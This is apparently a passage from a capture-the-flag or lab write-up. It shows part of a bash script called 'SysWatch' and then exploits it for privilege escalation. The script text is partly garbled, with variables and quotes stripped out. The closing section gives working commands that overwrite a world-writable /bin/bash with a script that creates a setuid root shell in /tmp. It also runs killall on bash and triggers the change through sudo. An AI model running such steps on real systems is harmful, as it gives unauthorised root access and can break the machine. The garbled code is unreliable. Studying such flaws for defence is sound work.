echo "[*] The SysWatch Web GUI is not running. Starting it..."
start_web
return
fi
echo "[*] Reloading the SysWatch Web GUI service..."
systemctl restart syswatch-web.service
echo "[+] The SysWatch Web GUI has been successfully reloaded!"
}
Functions:
show status
status_web() { systemctl status syswatch-web.service —no-pager —lines=0 }
Execute a plugin
execute_plugin() { local plugin=“plugin =~ SAFE_PLUGIN_REGEX ]]; then echo "Invalid plugin name" >&2 return 1 fi local fullpath="PLUGIN_DIR/fullpath” ] && echo “Plugin not found: plugin" >&2 && return 1 log_message "Executing plugin: plugin {RUN_AS_ROOT_PLUGINS[@]}”; do if [ “p” ]; then run_root=1 break fi done if [ “fullpath” “SYSWATCH_USER” — bash ”@” fi }
List available plugins
list_plugins() { local files files=PLUGIN_DIR” 2>/dev/null | grep -E ’^.+.sh{files:-}” ] && return while IFS= read -r f; do [ -z “f" ] && continue local skip=0 for ex in "{LIST_EXCLUDE[@]}”; do if [ “ex” ]; then skip=1 break fi done [ “skip" -eq 1 ] && continue echo " - f” done <<< “$files” }
View logs
view_logs() { local arg=”${1:-}”
# List mode
if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
local found=0
for p in "$LOG_DIR"/*.log; do
[ -e "$p" ] || continue
[ -L "$p" ] && continue # Skip symlinks in the list
[ -f "$p" ] || continue
echo " - $(basename "$p")"
found=1
done
[ "$found" -eq 0 ] && echo "[No logs found]"
return
fi
# Verify log file name
local file="${arg:-system.log}"
if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
echo "[Invalid log filename]: $file"
return 1
fi
local path="$LOG_DIR/$file"
if [ -L "$path" ]; then
local target
target=$(ls -l "$path" | awk '{print $NF}')
}
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
echo "[Blocked unsafe symlink target]: $file -> $target"
return 1
fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
local resolved="$LOG_DIR/$target"
if [ -f "$resolved" ]; then
cat "$resolved"
return
else
echo "[Symlink target not found]: $file -> $target"
return 1
fi
fi
if [[ "$target" == /var/log/* ]]; then
[ -f "$target" ] && cat "$target" && return
echo "[Symlink target is not a regular file]: $file -> $target"
return 1
fi
echo "[Refusing unsafe symlink]: $file -> $target"
return 1
fi
if [[ "$file" == */* || "$file" == *".."* ]]; then
echo "[Blocked unsafe filename]: $file"
return 1
fi
if [ -f "$path" ]; then
cat "$path"
else
echo "[Log file not found]: $file"
fi
}
usage() {
echo "SysWatch $VERSION"
echo "Usage: $0 <command> [args]"
echo "Commands:"
echo " web Start web GUI"
echo " web-stop Stop web GUI"
echo " web-restart Restart web GUI"
echo " web-status Show web GUI status"
echo " plugin <name> [args] Execute plugin"
echo " plugins List available plugins"
echo " logs <file> View log file"
echo " logs --list List available log files"
echo " --version Show version"
echo " --help|-h|help Show this help"
}
main() { case ”@” ;; plugins) list_plugins ;; logs) shift; view_logs “VERSION” ;; help|—help|-h) usage ;; *) usage ;; esac }
if [ ”@” else if [[ ”@” else echo “Access denied. Root permission is required to perform this action.” >&2 exit 1 fi fi }
Analyzing this script, a potential vulnerability can be identified:
In syswatch.sh, it’s written as:
bash ”@“
Instead of:
/usr/bin/bash ”@”
If you don’t specify the absolute path, the system will search for bash in the order of $PATH. The first one it finds will be /bin/bash (i.e., /usr/bin/bash).
ls -la /bin/bash
ls -la /usr/bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31 2024 /bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31 2024 /usr/bin/bash
# Simply replace `bash` with a malicious script:
cp /bin/bash /tmp/bash.bak # Make a backup first
cat > /tmp/evil.sh << 'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod +s /tmp/rootsh
EOF
# Switch to the `sh` shell to prevent `bash` from being terminated unexpectedly:
sh
killall -9 bash
# Replace `bash` with the malicious script:
chmod +x /tmp/evil.sh
cp /tmp/evil.sh /bin/bash
# Trigger the script (`syswatch.sh` will execute `bash` as `root`):
sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh
# Check the results:
ls -la /tmp/rootsh
/tmp/rootsh -p